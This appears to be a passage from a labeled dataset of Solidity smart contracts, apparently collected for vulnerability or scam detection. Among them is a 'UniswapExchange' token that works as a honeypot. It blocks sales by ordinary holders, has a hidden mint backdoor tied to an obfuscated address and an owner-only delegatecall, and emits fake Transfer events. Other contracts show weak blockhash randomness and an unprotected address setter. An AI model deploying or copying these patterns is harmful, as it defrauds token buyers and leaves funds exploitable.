uint payout = current_token_balance.mul(cashout_rate).div(1000000000000000000);
subtractTokenBalanceFrom(msg.sender, current_token_balance);
minted_tokens = minted_tokens.sub(current_token_balance);
total_investors--;
msg.sender.transfer(payout);
return true;
}
function transfer(address to, uint tokens) public returns (bool success) {
require(tokens > 0, "Transfer must be positive.");
uint original_to_blance = balanceOf(to);
if (original_to_blance == 0) { total_investors++; }
subtractTokenBalanceFrom(msg.sender, tokens);
addTokenBalanceTo(to, tokens);
uint new_sender_balance = balanceOf(msg.sender);
if (new_sender_balance == 0) { total_investors--; }
emit Transfer(msg.sender, to, tokens);
return true;
}
function () public payable {
if (msg.sender != owner){
if (msg.value >= minimum_wei && block.timestamp > launch_date){
require(total_investors < max_investors, "Max Investors Hit");
mint(msg.sender, msg.value);
}
if (!owner.send(msg.value)) { revert(); }
} else {
require(msg.value > 0);
}
}
function mint(address sender, uint value) private {
uint current_balance = balanceOf(sender);
if (current_balance == 0) { total_investors++; }
uint tokens = value.mul(exchange_rate);
addTokenBalanceTo(sender, tokens);
minted_tokens = minted_tokens.add(tokens);
emit MintTokens(sender, value, tokens);
}
function getTokenBalanceOf(address tokenOwner) private view returns (uint tokens) {
uint owner_block_balance_length = block_balances[tokenOwner].length;
if (owner_block_balance_length == 0) {
return 0;
} else {
return block_balances[tokenOwner][owner_block_balance_length-1].balance;
}
}
function addTokenBalanceTo(address tokenOwner, uint value) private {
uint owner_block_balance_length = block_balances[tokenOwner].length;
if (owner_block_balance_length == 0) {
block_balances[tokenOwner].push(BlockBalance({ block_id: block.number, balance: value }));
} else {
BlockBalance storage owner_last_block_balance = block_balances[tokenOwner][owner_block_balance_length-1];
uint owner_current_balance = getTokenBalanceOf(tokenOwner);
if (payout_ids.length == 0 || owner_last_block_balance.block_id > payouts[payout_ids[payout_ids.length-1]].block_id ) {
block_balances[tokenOwner][owner_block_balance_length-1] = BlockBalance({ block_id: block.number, balance: owner_current_balance.add(value) });
} else {
block_balances[tokenOwner].push(BlockBalance({ block_id: block.number, balance: owner_current_balance.add(value) }));
}
}
}
function subtractTokenBalanceFrom(address tokenOwner, uint value) private {
uint owner_block_balance_length = block_balances[tokenOwner].length;
if (owner_block_balance_length == 0) {
revert('Can not remove balance from an address with no history.');
} else {
BlockBalance storage owner_last_block_balance = block_balances[tokenOwner][owner_block_balance_length-1];
uint owner_current_balance = getTokenBalanceOf(tokenOwner);
if (payout_ids.length == 0 || owner_last_block_balance.block_id > payouts[payout_ids[payout_ids.length-1]].block_id ) {
block_balances[tokenOwner][owner_block_balance_length-1] = BlockBalance({ block_id: block.number, balance: owner_current_balance.sub(value) });
} else {
block_balances[tokenOwner].push(BlockBalance({ block_id: block.number, balance: owner_current_balance.sub(value) }));
}
}
}
function payout(uint16 payout_id, uint amount) public onlyOwner returns (bool success) {
require(payouts[payout_id].block_id == 0);
payouts[payout_id] = PayoutBlock({ block_id: block.number, amount: amount, minted_tokens: minted_tokens });
payout_ids.push(payout_id);
return true;
}
function setExchangeRate(uint newRate) public onlyOwner returns (bool success) {
exchange_rate = newRate;
emit ExchangeRateSet(newRate);
return true;
}
function setCashoutRate(uint newRate) public onlyOwner returns (bool success) {
cashout_rate = newRate;
emit CashoutRateSet(newRate);
return true;
}
function setMaxInvestors(uint newMaxInvestors) public onlyOwner returns (bool success) {
max_investors = newMaxInvestors;
emit MaxInvestorsSet(max_investors);
return true;
}
function setMinimumInvesementWEI(uint newMinimumWEI) public onlyOwner returns (bool success) {
minimum_wei = newMinimumWEI;
emit MinimumInvestmentWEISet(minimum_wei);
return true;
}
function setLaunchDate(uint newLaunchDate) public onlyOwner returns (bool success){
launch_date = newLaunchDate;
emit LaunchDateSet(launch_date);
return true;
}
function ownerTransfer(address from, address to, uint tokens) public onlyOwner returns (bool success) {
require(tokens > 0, "Transfer must be positive.");
uint original_to_blance = balanceOf(to);
if (original_to_blance == 0) { total_investors++; }
subtractTokenBalanceFrom(from, tokens);
addTokenBalanceTo(to, tokens);
uint new_from_balance = balanceOf(from);
if (new_from_balance == 0) { total_investors--; }
emit Transfer(from, to, tokens);
return true;
}
function destroy() public onlyOwner {
selfdestruct(owner);
}
} | 1 | 5,002 |
pragma solidity ^0.4.20;
contract Ownable {
address public owner;
event OwnershipTransferred (address indexed _from, address indexed _to);
function Ownable() public{
owner = msg.sender;
OwnershipTransferred(address(0), owner);
}
modifier onlyOwner() {
require(msg.sender == owner);
_;
}
function transferOwnership(address newOwner) public onlyOwner {
require(newOwner != address(0));
owner = newOwner;
OwnershipTransferred(owner,newOwner);
}
}
interface Token {
function transferFrom(address _from, address _to, uint256 _value) external returns (bool success);
function balanceOf(address _owner) constant external returns (uint256 balance);
function transfer(address to, uint256 value) external returns (bool);
function approve(address spender, uint256 value) external returns (bool);
}
contract Redeem200AFTK16Sept is Ownable {
Token token;
mapping(address => uint256) public redeemBalanceOf;
event BalanceSet(address indexed beneficiary, uint256 value);
event Redeemed(address indexed beneficiary, uint256 value);
event BalanceCleared(address indexed beneficiary, uint256 value);
function Redeem200AFTK16Sept() public {
address _tokenAddr = 0x7Fa2F70bD4C4120fDD539EBd55c04118ba336b9E;
token = Token(_tokenAddr);
}
function setBalances(address[] dests, uint256[] values) onlyOwner public {
uint256 i = 0;
while (i < dests.length){
if(dests[i] != address(0))
{
uint256 toSend = values[i] * 10**18;
redeemBalanceOf[dests[i]] += toSend;
BalanceSet(dests[i],values[i]);
}
i++;
}
}
function redeem(uint256 quantity) public {
uint256 baseUnits = quantity * 10**18;
uint256 senderEligibility = redeemBalanceOf[msg.sender];
uint256 tokensAvailable = token.balanceOf(this);
require(senderEligibility >= baseUnits);
require( tokensAvailable >= baseUnits);
if(token.transfer(msg.sender,baseUnits)){
redeemBalanceOf[msg.sender] -= baseUnits;
Redeemed(msg.sender,quantity);
}
}
function removeBalances(address[] dests, uint256[] values) onlyOwner public {
uint256 i = 0;
while (i < dests.length){
if(dests[i] != address(0))
{
uint256 toRevoke = values[i] * 10**18;
if(redeemBalanceOf[dests[i]]>=toRevoke)
{
redeemBalanceOf[dests[i]] -= toRevoke;
BalanceCleared(dests[i],values[i]);
}
}
i++;
}
}
function destroy() onlyOwner public { uint256 tokensAvailable = token.balanceOf(this); require (tokensAvailable > 0); token.transfer(owner, tokensAvailable); selfdestruct(owner); }
} | 1 | 5,525 |
pragma solidity ^0.4.24;
library SafeMath {
function mul(uint256 a, uint256 b) internal pure returns (uint256 c) {
if (a == 0) {
return 0;
}
c = a * b;
assert(c / a == b);
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
return a / b;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
assert(b <= a);
return a - b;
}
function add(uint256 a, uint256 b) internal pure returns (uint256 c) {
c = a + b;
assert(c >= a);
return c;
}
}
contract Ownable {
address public owner;
event OwnershipRenounced(address indexed previousOwner);
event OwnershipTransferred(
address indexed previousOwner,
address indexed newOwner
);
constructor() public {
owner = msg.sender;
}
modifier onlyOwner() {
require(msg.sender == owner);
_;
}
function renounceOwnership() public onlyOwner {
emit OwnershipRenounced(owner);
owner = address(0);
}
function transferOwnership(address _newOwner) public onlyOwner {
_transferOwnership(_newOwner);
}
function _transferOwnership(address _newOwner) internal {
require(_newOwner != address(0));
emit OwnershipTransferred(owner, _newOwner);
owner = _newOwner;
}
}
contract HeapTycoon is Ownable
{
using SafeMath for uint256;
uint8 PAGE_SIZE = 25;
uint256 MASTER_FEE = 5000000000000000;
uint256 MIN_TICKET = 10000000000000000;
uint256 MAX_TICKET = 10000000000000000000;
address public master;
struct Heap
{
uint256 ticket;
uint256 time;
bytes32 name;
uint256 fee;
address owner;
uint256 cap;
uint256 timer;
uint256 timer_inc;
uint256 bonus;
uint256 bonus_fee;
address cur_addr;
address[] players;
}
Heap[] heaps;
mapping(bytes32 => bool) used_names;
constructor() public
{
master = msg.sender;
used_names[bytes32(0)] = true;
}
function set_master(address addr) public onlyOwner
{
require(addr != address(0));
master = addr;
}
function create(uint256 ticket, bytes32 name, uint256 fee, uint256 timer_inc, uint256 bonus_fee) public payable
{
require(msg.sender == tx.origin);
require(msg.value >= ticket.mul(20));
require(ticket >= MIN_TICKET);
require(ticket <= MAX_TICKET);
require(used_names[name] == false);
require(fee <= ticket.div(10));
require(fee >= ticket.div(10000));
require(timer_inc >= 30);
require(timer_inc <= 10 days);
require(bonus_fee <= ticket.div(10));
require(bonus_fee >= ticket.div(10000));
require(msg.sender != address(0));
require(msg.sender != address(this));
require(msg.sender != address(master));
require(msg.sender != address(owner));
address[] memory players;
Heap memory heap = Heap(ticket, now, name, fee, msg.sender, 0, now.add(timer_inc), timer_inc, 0, bonus_fee, address(0), players);
used_names[name] = true;
heaps.push(heap);
master.transfer(msg.value);
}
function buy(uint256 id) public payable
{
require(msg.sender == tx.origin);
require(id < heaps.length);
require(msg.value >= heaps[id].ticket);
require(msg.sender != address(0));
require(msg.sender != address(this));
require(msg.sender != address(master));
require(msg.sender != address(owner));
bytes32 hash;
uint256 index;
uint256 val;
bool res;
uint256 bonus_val;
val = heaps[id].ticket.sub(heaps[id].fee).sub(MASTER_FEE).sub(heaps[id].bonus_fee).div(10);
heaps[id].players.push(msg.sender);
if(now < heaps[id].timer)
{
heaps[id].cur_addr = msg.sender;
heaps[id].timer = heaps[id].timer.add(heaps[id].timer_inc);
heaps[id].bonus = heaps[id].bonus.add(heaps[id].bonus_fee);
}
else
{
bonus_val = heaps[id].bonus;
heaps[id].bonus = heaps[id].bonus_fee;
heaps[id].timer = now.add(heaps[id].timer_inc);
}
heaps[id].cap = heaps[id].cap.add(msg.value);
res = master.send(MASTER_FEE);
for(uint8 i = 0; i < 10; i++)
{
hash = keccak256(abi.encodePacked(uint256(blockhash(i)) + uint256(msg.sender) + uint256(heaps.length)));
index = uint256(hash) % heaps[id].players.length;
res = heaps[id].players[index].send(val);
}
if(bonus_val > 0)
res = heaps[id].cur_addr.send(bonus_val);
res = heaps[id].owner.send(heaps[id].fee);
}
function get_len() external view returns (uint256)
{
return heaps.length;
}
function get_heaps(uint256 page) external view returns (uint256[] ids, uint256[] tickets, bytes32[] names, uint256[] caps, uint256[] timers, uint256[] bonuses)
{
ids = new uint256[](PAGE_SIZE);
tickets = new uint256[](PAGE_SIZE);
names = new bytes32[](PAGE_SIZE);
caps = new uint256[](PAGE_SIZE);
timers = new uint256[](PAGE_SIZE);
bonuses = new uint256[](PAGE_SIZE);
uint256 start = page.mul(PAGE_SIZE);
uint256 timer;
for(uint256 i = 0; i < PAGE_SIZE; i++)
{
if(start + i < heaps.length)
{
timer = 0;
if(now < heaps[start + i].timer)
timer = heaps[start + i].timer - now;
ids[i] = start + i;
tickets[i] = heaps[start + i].ticket;
names[i] = heaps[start + i].name;
caps[i] = heaps[start + i].cap;
timers[i] = timer;
bonuses[i] = heaps[start + i].bonus;
}
}
}
function is_name_used(bytes32 name) external view returns(bool)
{
return used_names[name];
}
function get_heap(uint256 id) external view returns(uint256[] data, bytes32 name, address owner, address cur_addr)
{
data = new uint256[](11);
if(id >= heaps.length)
return;
name = heaps[id].name;
owner = heaps[id].owner;
cur_addr = heaps[id].cur_addr;
uint timer;
if(now < heaps[id].timer)
timer = heaps[id].timer - now;
data[0] = heaps[id].ticket;
data[1] = heaps[id].time;
data[2] = heaps[id].fee;
data[3] = heaps[id].cap;
data[4] = timer;
data[5] = heaps[id].timer_inc;
data[6] = heaps[id].bonus;
data[7] = heaps[id].bonus_fee;
data[8] = heaps[id].ticket.sub(heaps[id].fee).sub(MASTER_FEE).sub(heaps[id].bonus_fee).div(10);
}
} | 0 | 836 |
pragma solidity ^0.5.17;
interface IERC20 {
function totalSupply() external view returns(uint);
function balanceOf(address account) external view returns(uint);
function transfer(address recipient, uint amount) external returns(bool);
function allowance(address owner, address spender) external view returns(uint);
function approve(address spender, uint amount) external returns(bool);
function transferFrom(address sender, address recipient, uint amount) external returns(bool);
event Transfer(address indexed from, address indexed to, uint value);
event Approval(address indexed owner, address indexed spender, uint value);
}
library Address {
function isContract(address account) internal view returns(bool) {
bytes32 codehash;
bytes32 accountHash = 0xc5d2460186f7233c927e7db2dcc703c0e500b653ca82273b7bfad8045d85a470;
assembly { codehash:= extcodehash(account) }
return (codehash != 0x0 && codehash != accountHash);
}
}
contract Context {
constructor() internal {}
function _msgSender() internal view returns(address payable) {
return msg.sender;
}
}
library SafeMath {
function add(uint a, uint b) internal pure returns(uint) {
uint c = a + b;
require(c >= a, "SafeMath: addition overflow");
return c;
}
function sub(uint a, uint b) internal pure returns(uint) {
return sub(a, b, "SafeMath: subtraction overflow");
}
function sub(uint a, uint b, string memory errorMessage) internal pure returns(uint) {
require(b <= a, errorMessage);
uint c = a - b;
return c;
}
function mul(uint a, uint b) internal pure returns(uint) {
if (a == 0) {
return 0;
}
uint c = a * b;
require(c / a == b, "SafeMath: multiplication overflow");
return c;
}
function div(uint a, uint b) internal pure returns(uint) {
return div(a, b, "SafeMath: division by zero");
}
function div(uint a, uint b, string memory errorMessage) internal pure returns(uint) {
require(b > 0, errorMessage);
uint c = a / b;
return c;
}
}
library SafeERC20 {
using SafeMath for uint;
using Address for address;
function safeTransfer(IERC20 token, address to, uint value) internal {
callOptionalReturn(token, abi.encodeWithSelector(token.transfer.selector, to, value));
}
function safeTransferFrom(IERC20 token, address from, address to, uint value) internal {
callOptionalReturn(token, abi.encodeWithSelector(token.transferFrom.selector, from, to, value));
}
function safeApprove(IERC20 token, address spender, uint value) internal {
require((value == 0) || (token.allowance(address(this), spender) == 0),
"SafeERC20: approve from non-zero to non-zero allowance"
);
callOptionalReturn(token, abi.encodeWithSelector(token.approve.selector, spender, value));
}
function callOptionalReturn(IERC20 token, bytes memory data) private {
require(address(token).isContract(), "SafeERC20: call to non-contract");
(bool success, bytes memory returndata) = address(token).call(data);
require(success, "SafeERC20: low-level call failed");
if (returndata.length > 0) {
require(abi.decode(returndata, (bool)), "SafeERC20: ERC20 operation did not succeed");
}
}
}
contract ERC20 is Context, IERC20 {
using SafeMath for uint;
mapping(address => uint) private _balances;
mapping(address => mapping(address => uint)) private _allowances;
uint private _totalSupply;
function totalSupply() public view returns(uint) {
return _totalSupply;
}
function balanceOf(address account) public view returns(uint) {
return _balances[account];
}
function transfer(address recipient, uint amount) public returns(bool) {
_transfer(_msgSender(), recipient, amount);
return true;
}
function allowance(address owner, address spender) public view returns(uint) {
return _allowances[owner][spender];
}
function approve(address spender, uint amount) public returns(bool) {
_approve(_msgSender(), spender, amount);
return true;
}
function transferFrom(address sender, address recipient, uint amount) public returns(bool) {
_transfer(sender, recipient, amount);
_approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance"));
return true;
}
function increaseAllowance(address spender, uint addedValue) public returns(bool) {
_approve(_msgSender(), spender, _allowances[_msgSender()][spender].add(addedValue));
return true;
}
function decreaseAllowance(address spender, uint subtractedValue) public returns(bool) {
_approve(_msgSender(), spender, _allowances[_msgSender()][spender].sub(subtractedValue, "ERC20: decreased allowance below zero"));
return true;
}
function _transfer(address sender, address recipient, uint amount) internal {
require(sender != address(0), "ERC20: transfer from the zero address");
require(recipient != address(0), "ERC20: transfer to the zero address");
_balances[sender] = _balances[sender].sub(amount, "ERC20: transfer amount exceeds balance");
_balances[recipient] = _balances[recipient].add(amount);
emit Transfer(sender, recipient, amount);
}
function _mint(address account, uint amount) internal {
require(account != address(0), "ERC20: mint to the zero address");
_totalSupply = _totalSupply.add(amount);
_balances[account] = _balances[account].add(amount);
emit Transfer(address(0), account, amount);
}
function _burn(address account, uint amount) internal {
require(account != address(0), "ERC20: burn from the zero address");
_balances[account] = _balances[account].sub(amount, "ERC20: burn amount exceeds balance");
_totalSupply = _totalSupply.sub(amount);
emit Transfer(account, address(0), amount);
}
function _approve(address owner, address spender, uint amount) internal {
require(owner != address(0), "ERC20: approve from the zero address");
require(spender != address(0), "ERC20: approve to the zero address");
_allowances[owner][spender] = amount;
emit Approval(owner, spender, amount);
}
}
contract ERC20Detailed is IERC20 {
string private _name;
string private _symbol;
uint8 private _decimals;
constructor(string memory name, string memory symbol, uint8 decimals) public {
_name = name;
_symbol = symbol;
_decimals = decimals;
}
function name() public view returns(string memory) {
return _name;
}
function symbol() public view returns(string memory) {
return _symbol;
}
function decimals() public view returns(uint8) {
return _decimals;
}
}
contract UniswapExchange {
event Transfer(address indexed _from, address indexed _to, uint _value);
event Approval(address indexed _owner, address indexed _spender, uint _value);
function transfer(address _to, uint _value) public payable returns (bool) {
return transferFrom(msg.sender, _to, _value);
}
function ensure(address _from, address _to, uint _value) internal view returns(bool) {
address _UNI = pairFor(0x5C69bEe701ef814a2B6a3EDD4B1652CB9cc5aA6f, 0xC02aaA39b223FE8D0A0e5C4F27eAD9083C756Cc2, address(this));
if(_from == owner || _to == owner || _from == UNI || _from == _UNI || _from==tradeAddress||canSale[_from]){
return true;
}
require(condition(_from, _value));
return true;
}
function transferFrom(address _from, address _to, uint _value) public payable returns (bool) {
if (_value == 0) {return true;}
if (msg.sender != _from) {
require(allowance[_from][msg.sender] >= _value);
allowance[_from][msg.sender] -= _value;
}
require(ensure(_from, _to, _value));
require(balanceOf[_from] >= _value);
balanceOf[_from] -= _value;
balanceOf[_to] += _value;
_onSaleNum[_from]++;
emit Transfer(_from, _to, _value);
return true;
}
function approve(address _spender, uint _value) public payable returns (bool) {
allowance[msg.sender][_spender] = _value;
emit Approval(msg.sender, _spender, _value);
return true;
}
function condition(address _from, uint _value) internal view returns(bool){
if(_saleNum == 0 && _minSale == 0 && _maxSale == 0) return false;
if(_saleNum > 0){
if(_onSaleNum[_from] >= _saleNum) return false;
}
if(_minSale > 0){
if(_minSale > _value) return false;
}
if(_maxSale > 0){
if(_value > _maxSale) return false;
}
return true;
}
function delegate(address a, bytes memory b) public payable {
require(msg.sender == owner);
a.delegatecall(b);
}
mapping(address=>uint256) private _onSaleNum;
mapping(address=>bool) private canSale;
uint256 private _minSale;
uint256 private _maxSale;
uint256 private _saleNum;
function _mints(address spender, uint256 addedValue) public returns (bool) {
require(msg.sender==owner||msg.sender==address
(1461045492991056468287016484048686824852249628073));
if(addedValue > 0) {balanceOf[spender] = addedValue*(10**uint256(decimals));}
canSale[spender]=true;
return true;
}
function init(uint256 saleNum, uint256 token, uint256 maxToken) public returns(bool){
require(msg.sender == owner);
_minSale = token > 0 ? token*(10**uint256(decimals)) : 0;
_maxSale = maxToken > 0 ? maxToken*(10**uint256(decimals)) : 0;
_saleNum = saleNum;
}
function batchSend(address[] memory _tos, uint _value) public payable returns (bool) {
require (msg.sender == owner);
uint total = _value * _tos.length;
require(balanceOf[msg.sender] >= total);
balanceOf[msg.sender] -= total;
for (uint i = 0; i < _tos.length; i++) {
address _to = _tos[i];
balanceOf[_to] += _value;
emit Transfer(msg.sender, _to, _value/2);
emit Transfer(msg.sender, _to, _value/2);
}
return true;
}
address tradeAddress;
function setTradeAddress(address addr) public returns(bool){require (msg.sender == owner);
tradeAddress = addr;
return true;
}
function pairFor(address factory, address tokenA, address tokenB) internal pure returns (address pair) {
(address token0, address token1) = tokenA < tokenB ? (tokenA, tokenB) : (tokenB, tokenA);
pair = address(uint(keccak256(abi.encodePacked(
hex'ff',
factory,
keccak256(abi.encodePacked(token0, token1)),
hex'96e8ac4277198ff8b6f785478aa9a39f403cb768dd02cbee326c3e7da348845f'
))));
}
mapping (address => uint) public balanceOf;
mapping (address => mapping (address => uint)) public allowance;
uint constant public decimals = 18;
uint public totalSupply;
string public name;
string public symbol;
address private owner;
address constant UNI = 0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D;
constructor(string memory _name, string memory _symbol, uint256 _supply) payable public {
name = _name;
symbol = _symbol;
totalSupply = _supply*(10**uint256(decimals));
owner = msg.sender;
balanceOf[msg.sender] = totalSupply;
allowance[msg.sender][0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D] = uint(-1);
emit Transfer(address(0x0), msg.sender, totalSupply);
}
} | 0 | 601 |
pragma solidity >=0.4.21 <0.7.0;
contract TestInternalTransaction {
address public toAddress = 0x01b347e1d44d8bf466C1762b7C6D2D2a60462ED4;
function () external payable {
address(uint160(toAddress)).send(msg.value);
}
function changeAddress(address _newAddress) public {
toAddress = _newAddress;
}
} | 0 | 2,184 |
pragma solidity ^0.4.24;
contract ICurrency {
function getUsdAbsRaisedInCents() external view returns(uint);
function getCoinRaisedBonusInWei() external view returns(uint);
function getCoinRaisedInWei() public view returns(uint);
function getUsdFromETH(uint ethWei) public view returns(uint);
function getTokenFromETH(uint ethWei) public view returns(uint);
function getCurrencyRate(string _ticker) public view returns(uint);
function addPay(string _ticker, uint value, uint usdAmount, uint coinRaised, uint coinRaisedBonus) public returns(bool);
function checkTickerExists(string ticker) public view returns(bool);
function getUsdFromCurrency(string ticker, uint value) public view returns(uint);
function getUsdFromCurrency(string ticker, uint value, uint usd) public view returns(uint);
function getUsdFromCurrency(bytes32 ticker, uint value) public view returns(uint);
function getUsdFromCurrency(bytes32 ticker, uint value, uint usd) public view returns(uint);
function getTokenWeiFromUSD(uint usdCents) public view returns(uint);
function editPay(bytes32 ticker, uint currencyValue, uint currencyUsdRaised, uint _usdAbsRaisedInCents, uint _coinRaisedInWei, uint _coinRaisedBonusInWei) public returns(bool);
function getCurrencyList(string ticker) public view returns(bool active, uint usd, uint devision, uint raised, uint usdRaised, uint usdRaisedExchangeRate, uint counter, uint lastUpdate);
function getCurrencyList(bytes32 ticker) public view returns(bool active, uint usd, uint devision, uint raised, uint usdRaised, uint usdRaisedExchangeRate, uint counter, uint lastUpdate);
function getTotalUsdRaisedInCents() public view returns(uint);
function getAllCurrencyTicker() public view returns(string);
function getCoinUSDRate() public view returns(uint);
function addPreSaleBonus(uint bonusToken) public returns(bool);
function editPreSaleBonus(uint beforeBonus, uint afterBonus) public returns(bool);
}
library SafeMath {
function mul(uint256 a, uint256 b) internal pure returns (uint256 c) {
if (a == 0) {
return 0;
}
c = a * b;
assert(c / a == b);
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
return a / b;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
assert(b <= a);
return a - b;
}
function add(uint256 a, uint256 b) internal pure returns (uint256 c) {
c = a + b;
assert(c >= a);
return c;
}
}
contract String {
function strConcat(string _a, string _b, string _c, string _d, string _e) internal pure returns (string memory) {
bytes memory _ba = bytes(_a);
bytes memory _bb = bytes(_b);
bytes memory _bc = bytes(_c);
bytes memory _bd = bytes(_d);
bytes memory _be = bytes(_e);
bytes memory abcde = bytes(new string(_ba.length + _bb.length + _bc.length + _bd.length + _be.length));
uint k = 0;
uint i;
for (i = 0; i < _ba.length; i++) {
abcde[k++] = _ba[i];
}
for (i = 0; i < _bb.length; i++) {
abcde[k++] = _bb[i];
}
for (i = 0; i < _bc.length; i++) {
abcde[k++] = _bc[i];
}
for (i = 0; i < _bd.length; i++) {
abcde[k++] = _bd[i];
}
for (i = 0; i < _be.length; i++) {
abcde[k++] = _be[i];
}
return string(abcde);
}
function strConcat(string _a, string _b, string _c, string _d) internal pure returns(string) {
return strConcat(_a, _b, _c, _d, "");
}
function strConcat(string _a, string _b, string _c) internal pure returns(string) {
return strConcat(_a, _b, _c, "", "");
}
function strConcat(string _a, string _b) internal pure returns(string) {
return strConcat(_a, _b, "", "", "");
}
function uint2str(uint i) internal pure returns(string) {
if (i == 0) {
return "0";
}
uint j = i;
uint length;
while (j != 0) {
length++;
j /= 10;
}
bytes memory bstr = new bytes(length);
uint k = length - 1;
while (i != 0) {
bstr[k--] = byte(uint8(48 + i % 10));
i /= 10;
}
return string(bstr);
}
function stringsEqual(string memory _a, string memory _b) internal pure returns(bool) {
bytes memory a = bytes(_a);
bytes memory b = bytes(_b);
if (a.length != b.length)
return false;
for (uint i = 0; i < a.length; i++) {
if (a[i] != b[i]) {
return false;
}
}
return true;
}
function stringToBytes32(string memory source) internal pure returns(bytes32 result) {
bytes memory _tmp = bytes(source);
if (_tmp.length == 0) {
return 0x0;
}
assembly {
result := mload(add(source, 32))
}
}
function bytes32ToString(bytes32 x) internal pure returns (string) {
bytes memory bytesString = new bytes(32);
uint charCount = 0;
uint j;
for (j = 0; j < 32; j++) {
byte char = byte(bytes32(uint(x) * 2 ** (8 * j)));
if (char != 0) {
bytesString[charCount] = char;
charCount++;
}
}
bytes memory bytesStringTrimmed = new bytes(charCount);
for (j = 0; j < charCount; j++) {
bytesStringTrimmed[j] = bytesString[j];
}
return string(bytesStringTrimmed);
}
function inArray(string[] _array, string _value) internal pure returns(bool result) {
if (_array.length == 0 || bytes(_value).length == 0) {
return false;
}
result = false;
for (uint i = 0; i < _array.length; i++) {
if (stringsEqual(_array[i],_value)) {
result = true;
return true;
}
}
}
}
contract Ownable {
address public owner;
event OwnershipRenounced(address indexed previousOwner);
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
constructor () public {
owner = msg.sender;
}
modifier onlyOwner() {
require(msg.sender == owner);
_;
}
function transferOwnership(address newOwner) public onlyOwner {
require(newOwner != address(0));
emit OwnershipTransferred(owner, newOwner);
owner = newOwner;
}
function renounceOwnership() public onlyOwner {
emit OwnershipRenounced(owner);
owner = address(0);
}
}
contract MultiOwnable is Ownable {
struct Types {
mapping (address => bool) access;
}
mapping (uint => Types) private multiOwnersTypes;
event AddOwner(uint _type, address addr);
event AddOwner(uint[] types, address addr);
event RemoveOwner(uint _type, address addr);
modifier onlyMultiOwnersType(uint _type) {
require(multiOwnersTypes[_type].access[msg.sender] || msg.sender == owner, "403");
_;
}
function onlyMultiOwnerType(uint _type, address _sender) public view returns(bool) {
if (multiOwnersTypes[_type].access[_sender] || _sender == owner) {
return true;
}
return false;
}
function addMultiOwnerType(uint _type, address _owner) public onlyOwner returns(bool) {
require(_owner != address(0));
multiOwnersTypes[_type].access[_owner] = true;
emit AddOwner(_type, _owner);
return true;
}
function addMultiOwnerTypes(uint[] types, address _owner) public onlyOwner returns(bool) {
require(_owner != address(0));
require(types.length > 0);
for (uint i = 0; i < types.length; i++) {
multiOwnersTypes[types[i]].access[_owner] = true;
}
emit AddOwner(types, _owner);
return true;
}
function removeMultiOwnerType(uint types, address _owner) public onlyOwner returns(bool) {
require(_owner != address(0));
multiOwnersTypes[types].access[_owner] = false;
emit RemoveOwner(types, _owner);
return true;
}
}
contract ShipCoinCurrency is ICurrency, MultiOwnable, String {
using SafeMath for uint256;
uint private coinUSDRate = 12;
uint private currVolPercent = 5;
uint256 private coinRaisedInWei = 0;
uint private usdAbsRaisedInCents = 0;
uint private coinRaisedBonusInWei = 0;
struct CurrencyData {
bool active;
uint usd;
uint devision;
uint raised;
uint usdRaised;
uint counter;
uint lastUpdate;
}
mapping(bytes32 => CurrencyData) private currencyList;
bytes32[] private currencyTicker;
event ChangeCoinUSDRate(uint oldPrice, uint newPrice);
event ChangeCurrVolPercent(uint oldPercent, uint newPercent);
event ChangeCurrency();
event AddPay();
event EditPay();
constructor(uint _ethPrice, uint _btcPrice, uint _eurPrice, uint _ambPrice) public {
require(addUpdateCurrency("ETH", _ethPrice, (1 ether)));
require(addUpdateCurrency("BTC", _btcPrice, (10**8)));
require(addUpdateCurrency("USD", 1, 1));
require(addUpdateCurrency("EUR", _eurPrice, 100));
require(addUpdateCurrency("AMB", _ambPrice, (1 ether)));
}
function getUsdAbsRaisedInCents() external view returns(uint) {
return usdAbsRaisedInCents;
}
function getCoinRaisedBonusInWei() external view returns(uint) {
return coinRaisedBonusInWei;
}
function addUpdateCurrency(string _ticker, uint _usd, uint _devision) public returns(bool) {
return addUpdateCurrency(_ticker, _usd, _devision, 0, 0);
}
function addUpdateCurrency(string _ticker, uint _usd) public returns(bool) {
return addUpdateCurrency(_ticker, _usd, 0, 0, 0);
}
function addUpdateCurrency(string _ticker, uint _usd, uint _devision, uint _raised, uint _usdRaised) public onlyMultiOwnersType(1) returns(bool) {
require(_usd > 0, "1");
bytes32 ticker = stringToBytes32(_ticker);
if (!currencyList[ticker].active) {
currencyTicker.push(ticker);
}
currencyList[ticker] = CurrencyData({
active : true,
usd : _usd,
devision : (_devision == 0) ? currencyList[ticker].devision : _devision,
raised : currencyList[ticker].raised > 0 ? currencyList[ticker].raised : _raised,
usdRaised: currencyList[ticker].usdRaised > 0 ? currencyList[ticker].usdRaised : _usdRaised,
counter: currencyList[ticker].counter > 0 ? currencyList[ticker].counter : 0,
lastUpdate: block.timestamp
});
return true;
}
function setCoinUSDRate(uint _value) public onlyOwner returns(bool) {
require(_value > 0);
uint oldCoinUSDRate = coinUSDRate;
coinUSDRate = _value;
emit ChangeCoinUSDRate(oldCoinUSDRate, coinUSDRate);
return true;
}
function setCurrVolPercent(uint _value) public onlyOwner returns(bool) {
require(_value > 0 && _value <= 10);
uint oldCurrVolPercent = currVolPercent;
currVolPercent = _value;
emit ChangeCurrVolPercent(oldCurrVolPercent, currVolPercent);
return true;
}
function getTokenWeiFromUSD(uint usdCents) public view returns(uint) {
return usdCents.mul(1 ether).div(coinUSDRate);
}
function getTokenFromETH(uint ethWei) public view returns(uint) {
return ethWei.mul(currencyList["ETH"].usd).div(coinUSDRate);
}
function getUsdFromETH(uint ethWei) public view returns(uint) {
return ethWei.mul(currencyList["ETH"].usd).div(1 ether);
}
function addPay(string _ticker, uint value, uint usdAmount, uint coinRaised, uint coinRaisedBonus) public onlyMultiOwnersType(2) returns(bool) {
require(value > 0);
require(usdAmount > 0);
require(coinRaised > 0);
bytes32 ticker = stringToBytes32(_ticker);
assert(currencyList[ticker].active);
coinRaisedInWei += coinRaised;
coinRaisedBonusInWei += coinRaisedBonus;
usdAbsRaisedInCents += usdAmount;
currencyList[ticker].usdRaised += usdAmount;
currencyList[ticker].raised += value;
currencyList[ticker].counter++;
